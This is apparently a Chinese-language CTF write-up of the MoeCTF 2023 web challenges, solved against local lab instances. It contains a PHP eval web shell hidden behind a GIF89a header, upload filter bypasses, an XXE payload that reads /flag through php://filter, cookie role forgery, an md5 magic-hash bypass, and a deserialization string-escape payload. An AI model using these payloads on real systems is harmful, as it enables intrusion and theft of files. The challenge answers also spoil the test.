0%

MoeCTF_2023web

MoeCTF_2023web方向WP

cookie

下载readme文件

根据readme中的内容,用POST请求发送json数据创建用户

但是在登录的时候发现密码错误,那我们就自己创建一个用户
登录之后会得到一个cookie
base64解码一下得到

1
2
3
┌──(root㉿kakeru)-[~/tmp]
└─# echo eyJ1c2VybmFtZSI6ICJoYWNrZXIiLCAicGFzc3dvcmQiOiAiMTIzNDU2IiwgInJvbGUiOiAidXNlciJ9 | base64 -d
{"username": "hacker", "password": "123456", "role": "user"}

这里我们的role是user,修改成admin然后再base64一下,把修改过的cookie再放在这个login界面登录,成功

最后访问/flag 拿到flag

web入门指北

在md文件中最后是这题要解码的内容,这是一个十六进制字符串
可用在cyberchef这个平台上解码,我直接用kali了,解码后是一个base64字符串,再解码得到flag

1
2
3
4
5
6
┌──(root㉿kakeru)-[~/tmp]
└─# echo "666c61673d6257396c5933526d6533637a62454e7662575666564739666257396c5131524758316379596c396a61474673624756755a3055684958303d" | xxd -r -p
flag=bW9lY3Rme3czbENvbWVfVG9fbW9lQ1RGX1cyYl9jaGFsbGVuZ0UhIX0=
┌──(root㉿kakeru)-[~/tmp]
└─# echo bW9lY3Rme3czbENvbWVfVG9fbW9lQ1RGX1cyYl9jaGFsbGVuZ0UhIX0= | base64 -d
moectf{w3lCome_To_moeCTF_W2b_challengE!!}

gas!gas!gas!


这里就像一个小游戏,但是在这么短的时间内做完这个反应还是有点难,写一个python脚本吧
首先先看这个页面的源代码,在这里可以找到参数传递的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<!--maybe id can help you locate the information-->
<div id="info"><h2>比赛开始!</h2><h3><font color="red">弯道向左,抓地力太小了!</font></h3></div>
<form action="/" method="POST">
<label for="driver">选手:</label>
<input type="text" id="driver" name="driver" required><br><br>

<label for="steering_control">方向控制:</label>
<select id="steering_control" name="steering_control" required>
<option value="-1"></option>
<option value="0" selected>直行</option>
<option value="1"></option>
</select><br><br>

<label for="throttle">油门控制:</label>
<select id="throttle" name="throttle" required>
<option value="0">松开</option>
<option value="1">保持</option>
<option value="2" selected>全开</option>
</select><br><br>

<input type="submit" value="提交">
</form>

然后这里我们知道提交的方式是POST,然后找到每一个数据的ID,这里有driver steering_control throttle
这里就根据每次传递数据之后返回的结果来决定下一次的数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests

url = 'http://127.0.0.1:62839/'
session = requests.session()

response = session.post(url,data={"driver":"kakeru","steering_control":0,"throttle":0}) #先发送一次请求,根据结果操作

for i in range(50):
text = response.text

# 方向控制,和返回的方向相反
if "向左" in text:
data_1 = 1
elif "向右" in text:
data_1 = -1
else :
data_1 = 0

# 抓地力判断,油门越大,抓地力越小
if "太小" in text:
data_2 = 0
elif "太大" in text:
data_2 = 2
else:
data_2 = 1

Data = {
"driver" : "kakeru",
"steering_control" : data_1,
"throttle" : data_2
}
response = session.post(url,data = Data)
if "moectf{" in response.text :
print(response.text)
break

http


这题就是要求我们对http头修改

meo 图床

一道文件上传题目
上传一个一句话木马的php文件

1
<?php @eval($_POST['a']);

提示: 只允许上传图片文件(JPEG、PNG 或 GIF)。
先考虑是不是只是在前端做校验,改成jpg文件,然后bp发包改成php后缀
上传之后还是不行

但是再添加一个GIF头就可以了

1
2
GIF89a
<?php @eval($_POST['a']);


这里先尝试用蚁剑连接,但是失败了

文件已经成功上传,但是无法连接 –> 所以就要转换思路
看到这里访问文件的方式很特别,直接用get请求访问这个图片的位置,那就有可能存在本地文件包含漏洞
验证一下,发现确实可以

然后访问../../../../../flag

1
2
3
4
5
6
7
8
hello~
Flag Not Here~
Find Somewhere Else~


<!--Fl3g_n0t_Here_dont_peek!!!!!.php-->

Not Here~~~~~~~~~~~~~ awa

再去这新的flag地址
得到一个源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

highlight_file(__FILE__);

if (isset($_GET['param1']) && isset($_GET['param2'])) {
$param1 = $_GET['param1'];
$param2 = $_GET['param2'];

if ($param1 !== $param2) {

$md5Param1 = md5($param1);
$md5Param2 = md5($param2);

if ($md5Param1 == $md5Param2) {
echo "O.O!! " . getenv("FLAG");
} else {
echo "O.o??";
}
} else {
echo "o.O?";
}
} else {
echo "O.o?";
}

?> O.o?

就是输入两个不一样的值然后它们的md5值一样,这很经典了
http://127.0.0.1:55659/Fl3g_n0t_Here_dont_peek!!!!!.php?param1=240610708&param2=QNKCDZO
得到flag

moe图床

还是一个文件上传。这题是提示只允许后缀是png的文件,还是先用bp改一下后缀试试,改完显示后缀名不符合要求
目录扫一下,发现有个upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
$targetDir = 'uploads/';
$allowedExtensions = ['png'];


if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
$file = $_FILES['file'];
$tmp_path = $_FILES['file']['tmp_name'];

if ($file['type'] !== 'image/png') {
die(json_encode(['success' => false, 'message' => '文件类型不符合要求']));
}

if (filesize($tmp_path) > 512 * 1024) {
die(json_encode(['success' => false, 'message' => '文件太大']));
}

$fileName = $file['name'];
$fileNameParts = explode('.', $fileName);

if (count($fileNameParts) >= 2) {
$secondSegment = $fileNameParts[1];
if ($secondSegment !== 'png') {
die(json_encode(['success' => false, 'message' => '文件后缀不符合要求']));
}
} else {
die(json_encode(['success' => false, 'message' => '文件后缀不符合要求']));
}

$uploadFilePath = dirname(__FILE__) . '/' . $targetDir . basename($file['name']);

if (move_uploaded_file($tmp_path, $uploadFilePath)) {
die(json_encode(['success' => true, 'file_path' => $uploadFilePath]));
} else {
die(json_encode(['success' => false, 'message' => '文件上传失败']));
}
}
else{
highlight_file(__FILE__);
}
?>

这里判断的逻辑是

1
2
3
4
5
6
7
8
$fileName = $file['name'];
$fileNameParts = explode('.', $fileName);

if (count($fileNameParts) >= 2) {
$secondSegment = $fileNameParts[1];
if ($secondSegment !== 'png') {
die(json_encode(['success' => false, 'message' => '文件后缀不符合要求']));
}

用’.’分隔,然后看第一个.后面是不是png,那就可以在后面在加php比如2.png.php
先是在浏览器直接上传,还是提示后缀问题,用bp改包发送就没问题了

蚁剑连接,在根目录得到flag

signin


下载题目源码
关键部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
eval(int.to_bytes(0x636d616f686e69656e61697563206e6965756e63696165756e6320696175636e206975616e6363616361766573206164^8651845801355794822748761274382990563137388564728777614331389574821794036657729487047095090696384065814967726980153,160,"big",signed=True).decode().translate({ord(c):None for c in "\x00"})) # what is it?

def decrypt(data:str):
for x in range(5):
data = base64.b64encode(data).decode() # ummm...? It looks like it's just base64 encoding it 5 times? truely?
return data

def do_POST(self):
try:
if self.path == "/login":
body = self.rfile.read(int(self.headers.get("Content-Length")))
payload = json.loads(body)
params = json.loads(decrypt(payload["params"]))
print(params)
if params.get("username") == "admin":
self.send_response(403)
self.end_headers()
self.wfile.write(b"YOU CANNOT LOGIN AS ADMIN!")
print("admin")
return
if params.get("username") == params.get("password"):
self.send_response(403)
self.end_headers()
self.wfile.write(b"YOU CANNOT LOGIN WITH SAME USERNAME AND PASSWORD!")
print("same")
return
hashed = gethash(params.get("username"),params.get("password"))
for k,v in hashed_users.items():
if hashed == v:
data = {
"user":k,
"hash":hashed,
"flag": FLAG if k == "admin" else "flag{YOU_HAVE_TO_LOGIN_IN_AS_ADMIN_TO_GET_THE_FLAG}"
}
self.send_response(200)
self.end_headers()
self.wfile.write(json.dumps(data).encode())
print("success")
return
self.send_response(403)
self.end_headers()
self.wfile.write(b"Invalid username or password")
else:
self.send_response(404)
self.end_headers()
self.wfile.write(b"404 Not Found")
except Exception as e:
print(e)
self.send_response(500)
self.end_headers()
self.wfile.write(b"500 Internal Server Error")

这里通过post请求传递参数,而且需要用户名和密码一样,但是是一个弱比较,如果完全相等也不行

1
2
3
4
5
print (int.to_bytes( 0x636d616f686e69656e61697563206e6965756e63696165756e6320696175636e206975616e6363616361766573206164 ^8651845801355794822748761274382990563137388564728777614331389574821794036657729487047095090696384065814967726980153,160, "big", signed=True).decode().translate({ord(c): None for c in "\x00"}))


# 输出
[[0] for base64.b64encode in [base64.b64decode]]

前面eval语句执行的内容就是把base64 encode 变成decode , decrepit函数就是把数据base64加密5次(但是前面因为encode变成decode了所以就是base64解码5次

1
2
3
4
5
6
7
def gethash(*items):
c = 0
for item in items:
if item is None:
continue
c ^= int.from_bytes(hashlib.md5(f"{salt}[{item}]{salt}".encode()).digest(), "big") # it looks so complex! but is it safe enough?
return hex(c)[2:]

这个函数它会遍历每个参数,使用 MD5 哈希算法对每个参数进行哈希处理,然后将这些哈希值进行异或运算,最终返回异或结果的十六进制表示。然后最后去掉前两位就是0x
得到flag的部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
hashed_users = dict((k,gethash(k,v)) for k,v in users.items())
hashed = gethash(params.get("username"),params.get("password"))
for k,v in hashed_users.items():
if hashed == v:
data = {
"user":k,
"hash":hashed,
"flag": FLAG if k == "admin" else "flag{YOU_HAVE_TO_LOGIN_IN_AS_ADMIN_TO_GET_THE_FLAG}"
}
self.send_response(200)
self.end_headers()
self.wfile.write(json.dumps(data).encode())
print("success")
return

这里判断admin相等的是k,利用点就是这里hash加密使用的异或,异或的如果是两个相等的数,那就是0
而且使用的是弱比较,gethash用了int,所以数据类型不一样也会转化成int,所以一个username和passwd一个输入数字一个输入字符串就可以了 最后用base64编码5次后的数据传入

1
2
3
4
5
┌──(root㉿kakeru)-[~/tmp]
└─# echo '{"username" : "1" , "password" : 1}' | base64 | base64 | base64 | base64 | base64
VjJ4b2MxTXdNVmhVV0d4WFltMTRjRmxzVm1GTlJtUnpWR3R3WVUxRWJIZFZWbVJ6Vkd4VmQySkhO
VlZTVlRWRFdWWmtUMU5HU25WagpSM0JPVFd4SmVWZFVTWGhWYlVaV1lrVldhUXBOYlZKUFZqQlNR
MVJGVG01UVZEQkxDZz09Cg==

了解你的座驾

打开容器,选择XDU moectf Flag 抓包

发现包里面用post发送了一个数据,用url解码得到xml格式的内容

1
2
3
4
xml_content=%3Cxml%3E%3Cname%3EXDU+moeCTF+Flag%3C%2Fname%3E%3C%2Fxml%3E

#url解码后
xml_content=<xml><name>XDU moeCTF Flag</name></xml>

所以猜测要用xxe漏洞,xml的文档结构包括xml声明,dtd文档类型定义,以及文件元素 如:

1
2
3
4
5
6
7
8
9
10
11
<!--XML声明-->
<?xml version="1.0" encoding="UTF-8"?>

<!--DTD,这部分可选的-->
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >
]>

<!--文档元素-->
<foo>&xxe;</foo>

XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
这里能解析xml代码,我们可以写一个常见的payload,题目又说flag在根目录,所以可以猜测在/flag
在外部实体里面也可以用php伪协议,这里就用伪协议读取数据
payload

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=///flag">
]>

<xml><name>&xxe;</name></xml>

这里最后的标签是用户可以随便选的,然后加上原来的<name>,然后要记得把payload做url编码

base64解码得到flag

1
2
bW9lY3Rme0RvX3kwdV9sMUtlX3RoRS14eGUtVnUxaFU2LXBIUF90MC1nRVRfRklBRy1BZnRFci1nQFNnYXNnYXMwfQo
moectf{Do_y0u_l1Ke_thE-xxe-Vu1hU6-pHP_t0-gET_FIAG-AftEr-g@Sgasgas0}

出去旅游的心海

这题因为环境关了,所以没做

大海捞针

题目描述: 该死,之前的平行宇宙由于 flag 的泄露被一股神秘力量抹去,我们脱离了与那个宇宙的连接了!不过不用担心,看起来出题人傻乎乎的是具有泄露 flag 的概率的,我们只需要连接多个平行宇宙…(难道 flag 在多元宇宙里是全局变量吗)


这里的意思就是flag存在/id=1 - 1000,当id为特定的值的时候可以得到flag
我们就可以写一个简单的脚本爆破出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

url = "http://127.0.0.1:55898/"
session = requests.session()

response = session.get(url)
for i in range(1001):
text = response.text
if "moectf" in text:
print (text)
break;
response = session.get (url + "/?id=" + str(i))


夺命十三枪

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
highlight_file(__FILE__);

require_once('Hanxin.exe.php');

$Chant = isset($_GET['chant']) ? $_GET['chant'] : '夺命十三枪';

$new_visitor = new Omg_It_Is_So_Cool_Bring_Me_My_Flag($Chant);

$before = serialize($new_visitor);
$after = Deadly_Thirteen_Spears::Make_a_Move($before);
echo 'Your Movements: ' . $after . '<br>';

try{
echo unserialize($after);
}catch (Exception $e) {
echo "Even Caused A Glitch...";
}
?>
Your Movements: O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":2:{s:5:"Chant";s:15:"夺命十三枪";s:11:"Spear_Owner";s:6:"Nobody";}
Far away from COOL...

这里先告诉了另一个源码地址Hanxin.exe.php
先大致分析一下这个源码,检查有没有从get接受chant参数,然后创建一个类,把序列化之后的结果给$before
序列化之后,又把这个$before传给Deadly_Thirteen_Spears::Make_a_Move函数
最后反序列化这个$after

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php

if (basename($_SERVER['SCRIPT_FILENAME']) === basename(__FILE__)) {
highlight_file(__FILE__);
}

class Deadly_Thirteen_Spears{
private static $Top_Secret_Long_Spear_Techniques_Manual = array(
"di_yi_qiang" => "Lovesickness",
"di_er_qiang" => "Heartbreak",
"di_san_qiang" => "Blind_Dragon",
"di_si_qiang" => "Romantic_charm",
"di_wu_qiang" => "Peerless",
"di_liu_qiang" => "White_Dragon",
"di_qi_qiang" => "Penetrating_Gaze",
"di_ba_qiang" => "Kunpeng",
"di_jiu_qiang" => "Night_Parade_of_a_Hundred_Ghosts",
"di_shi_qiang" => "Overlord",
"di_shi_yi_qiang" => "Letting_Go",
"di_shi_er_qiang" => "Decisive_Victory",
"di_shi_san_qiang" => "Unrepentant_Lethality"
);

public static function Make_a_Move($move){
foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement){
$move = str_replace($index, $movement, $move);
}
return $move;
}
}

class Omg_It_Is_So_Cool_Bring_Me_My_Flag{

public $Chant = '';
public $Spear_Owner = 'Nobody';

function __construct($chant){
$this->Chant = $chant;
$this->Spear_Owner = 'Nobody';
}

function __toString(){
if($this->Spear_Owner !== 'MaoLei'){
return 'Far away from COOL...';
}
else{
return "Omg You're So COOOOOL!!! " . getenv('FLAG');
}
}
}

?>

再看看这个Hanxin.exe.php
Deadly_Thirteen_Spears有一个私有数组,这这里存储的是每枪的名字Make_a_Move函数接受一个$move函数,会把里面的第x枪转换成对应的真实名字
Omg_It_Is_So_Cool_Bring_Me_My_Flag类接受chant参数,会把$this->Chant参数赋值成传入的值,最后如果$this -> Spear_OwnerMaolei就是能得到flag

总的来看,Spear_Owner是程序里面确定的,我们能控制的是Chant,所以猜测是用的反序列化字符逃逸,因为还有一个move函数会替换

这里我们先写一个Omg_It_Is_So_Cool_Bring_Me_My_Flag类的随便一个反序列化的结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class Omg_It_Is_So_Cool_Bring_Me_My_Flag{
public $Chant = '';
public $Spear_Owner = 'Nobody';

function __construct($chant){
$this->Chant = $chant;
$this->Spear_Owner = 'Nobody';
}

function __toString(){
if($this->Spear_Owner !== 'MaoLei'){
return 'Far away from COOL...';
}
else{
return "Omg You're So COOOOOL!!! " . getenv('FLAG');
}
}
}

$a = new Omg_It_Is_So_Cool_Bring_Me_My_Flag("di_yi_qiang");
echo (serialize($a));
?>


结果是

1
O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":2:{s:5:"Chant";s:11:"di_yi_qiang";s:11:"Spear_Owner";s:6:"Nobody";}

我们能控制的就是这里的”di_yi_qiang” 注意到”di_yi_qiang”会被替换成”Lovesickness” 也就是从11个字符替换成了12个字符。
这里我简单说一下什么是反序列化的字符逃逸,反序列化中的结构是类似于s:5:"Chant"5代表这个参数的长度,后面跟着参数具体的值,当替换了之后了,比如11个字符替换成了12个字符,而且是在序列化之后进行的替换,这样子参数长度(5)没变,但是参数自己本身的长度因为替换发生了改变,而反序列化看到;}就当作结束了。所以就可以被利用了。我们通过$chant这个参数传入我们想要的序列化的值,然后程序在反序列化时候会提前终止,又因为进行过了替换操作,所以字符长度也会符合条件

现在我们想要的反序列化的值

1
O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":2:{s:5:"Chant";s:11:"di_yi_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}

那现在能控制的是这里的”di_yi_qiang”,每次替换之后会比之前的字符加1(12-11)
我们要构造的

1
";s:11:"Spear_Owner";s:6:"MaoLei";}

一共是35位,所以我们要构造35个”di_yi_qiang”
所以参数长度是35 + 35 * 11 = 420
替换之后就是

1
O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":2:{s:5:"Chant";s:420:35"di_yi_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}

payload

1
2
3
4
5
6
7
8
9
10
<?php
$post = '";s:11:"Spear_Owner";s:6:"MaoLei";}"';
for($i = 1; $i <= 35; $i++){
$post = "di_yi_qiang".$post;
}

echo $post;


di_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}

传入url,得到flag

彼岸的flag

题目描述:我们在某个平行宇宙中得到了一段 moectf 群的聊天记录,粗心的出题人在这个聊天平台不小心泄露了自己的 flag
根据题目描述,flag就在这个聊天记录里面,查看页面源代码,然后搜索moectf就找到flag